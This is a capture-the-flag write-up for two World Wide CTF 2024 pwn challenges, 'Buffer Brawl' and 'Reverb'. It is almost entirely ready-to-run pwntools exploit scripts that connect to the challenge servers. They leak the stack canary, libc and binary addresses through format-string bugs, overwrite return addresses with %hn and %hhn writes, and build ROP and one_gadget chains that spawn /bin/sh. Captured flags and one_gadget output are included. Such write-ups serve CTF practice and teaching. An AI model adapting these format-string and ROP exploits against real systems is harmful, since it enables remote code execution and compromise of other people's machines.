# (writeup) World Wide CTF 2024
## Buffer Brawl
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./buffer_brawl', checksec=False)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*slip+51
b*slip+77
c
''')
input()
if args.REMOTE:
p = remote('buffer-brawl.chal.wwctf.com',1337)
else:
p = process(exe.path)
sla(b'> ',b'4')
sla(b'left?\n',b'%27$p|%29$p||%13$p|%21$p||')
canary = int(p.recvuntil(b'|',drop=True),16)
libc_leak = int(p.recvuntil(b'||',drop=True),16)
exe_leak = int(p.recvuntil(b'|',drop=True),16)
stack_leak = int(p.recvuntil(b'||',drop=True),16)
stack_ret = stack_leak - 0x190
exe.address = exe_leak - exe.sym.menu - 215
stack_smash = exe.sym.stack_smash
libc.address = libc_leak - 0x29d90
info(f'canary leak: {hex(canary)}')
info(f'libc leak: {hex(libc_leak)}')
info(f'libc base: {hex(libc.address)}')
info(f'stack leak: {hex(stack_leak)}')
info(f'stack ret: {hex(stack_ret)}')
info(f'stack_smash: {hex(stack_smash)}')
info(f'exe leak: {hex(exe_leak)}')
info(f'exe base: {hex(exe.address)}')
GDB()
sla(b'> ',b'4')
payload = f'%{stack_smash+4&0xffff}c%8$hn'.encode()
payload = payload.ljust(0x10,b'\0')
payload += p64(stack_ret)
sla(b'left?\n',payload)
pop_rdi = libc.address + 0x000000000002a3e5
payload = b'a'*0x18
payload += p64(canary)
payload += b'a'*8
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(pop_rdi+1)
payload += p64(libc.sym.system)
sla(b' move: ',payload)
p.interactive()
#wwf{C0ngr4ts_t0_th3_n3w_R0P4TT4CK_ch4mp10n_0f_th3_W0rld}
```
## Reverb
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./chall_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+266
b*main+300
c
''')
input()
if args.REMOTE:
p = remote('reverb.chal.wwctf.com',1337)
else:
p = process(exe.path)
def fmt(s):
sla(b'>> ',s)
GDB()
payload = f'%{12}$s|'.encode()
payload = payload.ljust(0x10,b'\0')
payload += p64(exe.got.printf)
fmt(payload)
libc_leak = u64(p.recvuntil(b'|',drop=True)+b'\0\0')
libc.address = libc_leak - libc.sym.printf
stack_env = libc.sym.__environ
info(f'libc leak: {hex(libc_leak)}')
info(f'libc base: {hex(libc.address)}')
info(f'stack env: {hex(stack_env)}')
payload = f'%{12}$s|'.encode()
payload = payload.ljust(0x10,b'\0')
payload += p64(stack_env)
fmt(payload)
stack_leak = u64(p.recvuntil(b'|',drop=True)+b'\0\0')
stack_ret = stack_leak - 0x120
stack_need = stack_ret - 0x178
info(f'stack leak: {hex(stack_leak)}')
info(f'stack ret: {hex(stack_ret)}')
info(f'stack need: {hex(stack_need)}')
one_gadget = libc.address + 0xebd43
info(f'one gadget: {hex(one_gadget)}')
pop_rdi = libc.address + 0x000000000002a3e5
pop_rbp = libc.address + 0x000000000002a2e0
rw_section = 0x404a80
binsh = next(libc.search(b'/bin/sh\0'))
system = libc.sym.system
info(f'pop rdi: {hex(pop_rdi)}')
info(f'pop rbp: {hex(pop_rbp)}')
info(f'/bin/sh: {hex(binsh)}')
info(f'system: {hex(system)}')
info(f'libc start call main: {hex(libc.address + 0x29d90)}')
def exploit(ow,ow_addr):
package = {
(ow >> 0) & 0xff: ow_addr,
(ow >> 8) & 0xff: ow_addr + 1,
(ow >> 16) & 0xff: ow_addr + 2,
(ow >> 24) & 0xff: ow_addr + 3,
(ow >> 32) & 0xff: ow_addr + 4,
(ow >> 40) & 0xff: ow_addr + 5,
}
order = sorted(package)
print(package)
print(order)
info(f'target: {hex(ow)}')
info(f'target to write: {hex(ow_addr)}')
payload = b''
write_idx = 28
cnts = [0]*6
write_num = 57
for i in range(6):
try:
if order[i] == 0:
continue
except:
continue
if order[i] < 58:
write_num = order[i]
payload += f'%{write_num}c%{write_idx}$hhn'.encode()
cnts[i] = 1
else:
cnt = order[i] // 57
leftover = order[i] % 57
if (leftover == 0):
for _ in range(cnt):
payload += f'%{write_num}c%{write_idx}$hhn'.encode()
cnts[i] += 1
elif (leftover < 10):
must_send = 10
payload += f'%{must_send}c%{write_idx}$hhn'.encode()
cnts[i] += 1
remake = order[i] - must_send
cnt = remake // 57
leftover = remake % 57
for _ in range(cnt):
payload += f'%{write_num}c%{write_idx}$hhn'.encode()
cnts[i] += 1
payload += f'%{leftover}c%{write_idx}$hhn'.encode()
cnts[i] += 1
else:
for _ in range(cnt):
payload += f'%{write_num}c%{write_idx}$hhn'.encode()
cnts[i] += 1
payload += f'%{leftover}c%{write_idx}$hhn'.encode() #send leftover normally
cnts[i] += 1
payload = payload.ljust(0x90, b'\0')
payload += p64(package[order[i]]) * cnts[i]
fmt(payload)
payload = b'' # Reset payload for the next byte
exploit(pop_rbp,stack_ret)
exploit(rw_section,stack_ret+8)
exploit(one_gadget,stack_ret+16)
fmt(b'%1') #exit
p.interactive()
#wwf{truLy_4_frmat_str_m4st3r!}
'''
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
'''
```